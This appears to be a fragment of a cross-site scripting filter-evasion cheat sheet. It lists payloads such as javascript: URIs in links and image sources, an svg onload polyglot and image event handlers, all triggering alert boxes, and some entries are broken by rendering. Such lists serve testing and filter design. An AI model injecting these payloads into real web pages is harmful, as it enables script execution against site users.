If iFrames are allowed there are a lot of other XSS problems as well:
(Unsupported src)
IFrames and most other elements can use event based mayhem like the following:
(Unsupported #)
Frames have the same sorts of XSS problems as iFrames
[Bang](javascript:alert('Hello!'))
javascript:/--><svg/onload='+/"`/+/onmouseover=1/+/[/[]/+alert(42);//'>
<IMG """>alert("XSS")">
Default SRC Tag by Leaving it Empty
<IMG SRC= onmouseover="alert('xxs')">
Default SRC Tag by Leaving it out Entirely
On Error Alert
IMG onerror and JavaScript Alert Encode
<IMG SRC=javascript:alert("XSS")>
<IMG SRC="<javascript:alert>('XSS')"
|
<svg/onload=alert('XSS')> |